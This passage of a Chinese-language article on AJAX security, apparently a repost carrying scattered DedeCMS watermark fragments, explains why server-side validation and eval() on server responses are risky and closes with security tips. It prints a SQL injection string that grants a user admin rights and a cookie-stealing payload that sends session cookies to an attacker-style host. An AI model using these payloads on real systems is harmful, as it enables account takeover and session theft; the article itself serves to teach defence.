谈谈AJAX的安全性及AJAX安全隐患

　　7.服务器端验证：实际上这里有两个问题。第一，AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max，使Max有一种虚假的安全感，原因是他建立了称作alloweddestinations.php的函数，根据用户的ID来决定他们能够到达的正确目的地。 dedecms.com

　　因为这是一个服务器端的检查，当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼，这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。 内容来自dedecms

　　AJAX控制可以比用户自己更仔细验证用户的输入，但是他们还是经常在服务器上最后做一次验证。

本文来自织梦

　　AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下，URL通常是隐藏着的，所以也会经常忘掉它。举例说明一下，也许我可以使用SQL Injection来对刚才的脚本进行攻击，如下所示： copyright dedecms

　　showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;--

内容来自dedecms

　　就会让我登录后具有系统治理员的权限。当然，如何取得那些表名（table）和字段名已经超出了本文讨论的范围，但是你已经了解这种情况了，不是吗？

copyright dedecms

　　8.客户端验证：我们已经知道在刚才的Google Suggest例子中，通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。假如没有任何形式的验证（假如这样的话在客户端很难保证可靠性和流畅性），客户端将仅仅简单执行服务器需要它完成的事情。 copyright dedecms

　　这样的话，由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的（也就是说你不能够“查看源文件”），于是潜在地为恶意的黑客们打开了一个完全的攻击导向。假如服务器的响应持续不断地被捣乱（这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中），这种攻击将很难被发现。

　　Max使用下面的响应在目的地网页上更新天气图标，他是用的函数是eval();函数：
updateWeatherIcon('cloudy.gif'); 织梦内容管理系统

　　然而，恶意的cracker能够把这个函数变成下面的形式，这样要发现这种攻击就更加困难了：
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' document.cookies); updateWeatherIcon('cloudy.gif'); dedecms.com

　　我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。

dedecms.com

　　毫无疑问，AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”，使用AJAX必须小心谨慎，这样才能够保证web站点的安全。

dedecms.com

　　然而，最大的威胁之一，来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外，使测试很不直观；同时，这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失，它们变得更多更复杂了。 dedecms.com

　　5个最重要的AJAX安全提示： 织梦好，好织梦

　　为了取得成功，你必须从好的计划开始。必须集中你的才智减少和简化AJAX调用，创建一个标准的响应格式，在任何地方都要遵循这个协定（理想的XML）。

copyright dedecms

　　遵循来自像开放万维网应用安全计划那样的站点的最优方法。这里面非凡包含了访问控制和输入校验漏洞检查，同时确保敏感信息使用over SSL胜过使用普通文本。 织梦好，好织梦

　　永远不要假设服务器端AJAX对于访问控制或者用户输入校验检查能够代替在服务器上的最终再检查。增加AJAX控制永远不会减少你的验证工作量，它们只能增加你的工作量。 dedecms.com

　　永远不要假设客户端的混淆技术（obfuscation，在这里指使JavaScript难于阅读和解码）能够保护你非常重要的商业秘密。使用JavaScript是隐藏程序设计最没用的一种手段，还能够为你的对手提供好处。

看完这篇，您有何感觉呢？